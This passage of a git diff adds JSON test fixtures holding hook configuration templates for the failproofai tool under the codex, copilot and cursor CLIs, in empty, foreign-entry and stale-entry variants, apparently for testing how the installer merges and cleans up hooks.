"hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/copilot-project.json b/__tests__/fixtures/config-templates/copilot-project.json new file mode 100644 index 000000000..adb68a73e --- /dev/null +++ b/__tests__/fixtures/config-templates/copilot-project.json @@ -0,0 +1,514 @@ +{ + "cli": "copilot", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionStart --cli copilot", + "powershell": "npx -y failproofai --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionEnd --cli copilot", + "powershell": "npx -y failproofai --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "powershell": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Stop --cli copilot", + "powershell": "npx -y failproofai --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SubagentStop --cli copilot", + "powershell": "npx -y failproofai --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "powershell": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreCompact --cli copilot", + "powershell": "npx -y failproofai --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PermissionRequest --cli copilot", + "powershell": "npx -y failproofai --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Notification --cli copilot", + "powershell": "npx -y failproofai --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionStart --cli copilot", + "powershell": "npx -y failproofai --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "bash": "somebody-elses-tool --do-a-thing", + "powershell": "somebody-elses-tool --do-a-thing", + "timeoutSec": 60 + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionEnd --cli copilot", + "powershell": "npx -y failproofai --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "powershell": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Stop --cli copilot", + "powershell": "npx -y failproofai --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SubagentStop --cli copilot", + "powershell": "npx -y failproofai --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "powershell": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreCompact --cli copilot", + "powershell": "npx -y failproofai --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PermissionRequest --cli copilot", + "powershell": "npx -y failproofai --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Notification --cli copilot", + "powershell": "npx -y failproofai --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionStart --cli copilot", + "powershell": "npx -y failproofai --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionEnd --cli copilot", + "powershell": "npx -y failproofai --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "powershell": "npx -y failproofai --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUse --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Stop --cli copilot", + "powershell": "npx -y failproofai --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SubagentStop --cli copilot", + "powershell": "npx -y failproofai --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "powershell": "npx -y failproofai --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "powershell": "npx -y failproofai --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PreCompact --cli copilot", + "powershell": "npx -y failproofai --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook PermissionRequest --cli copilot", + "powershell": "npx -y failproofai --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook Notification --cli copilot", + "powershell": "npx -y failproofai --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "bash": "npx -y failproofai --hook SessionStart --cli copilot", + "powershell": "npx -y failproofai --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/copilot-user.json b/__tests__/fixtures/config-templates/copilot-user.json new file mode 100644 index 000000000..7d0302d69 --- /dev/null +++ b/__tests__/fixtures/config-templates/copilot-user.json @@ -0,0 +1,514 @@ +{ + "cli": "copilot", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "bash": "somebody-elses-tool --do-a-thing", + "powershell": "somebody-elses-tool --do-a-thing", + "timeoutSec": 60 + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "version": 1, + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionEnd --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUse --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Stop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SubagentStop --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PostToolUseFailure --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ErrorOccurred": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook ErrorOccurred --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PreCompact --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook Notification --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "bash": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "powershell": "\"/usr/bin/failproofai\" --hook SessionStart --cli copilot", + "timeoutSec": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/cursor-project.json b/__tests__/fixtures/config-templates/cursor-project.json new file mode 100644 index 000000000..84dc54c76 --- /dev/null +++ b/__tests__/fixtures/config-templates/cursor-project.json @@ -0,0 +1,204 @@ +{ + "cli": "cursor", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "npx -y failproofai --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagentStop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + }, + "foreign": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + }, + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "npx -y failproofai --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagentStop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "npx -y failproofai --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "npx -y failproofai --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagentStop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "AnEventWeNoLongerInstall": [ + { + "type": "command", + "command": "npx -y failproofai --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/cursor-user.json b/__tests__/fixtures/config-templates/cursor-user.json new file mode 100644 index 000000000..6ab7294d7 --- /dev/null +++ b/__tests__/fixtures/config-templates/cursor-user.json @@ -0,0 +1,204 @@ +{ + "cli": "cursor", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagentStop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + }, + "foreign": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + }, + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagentStop --cli cursor", + "timeout": 60, + 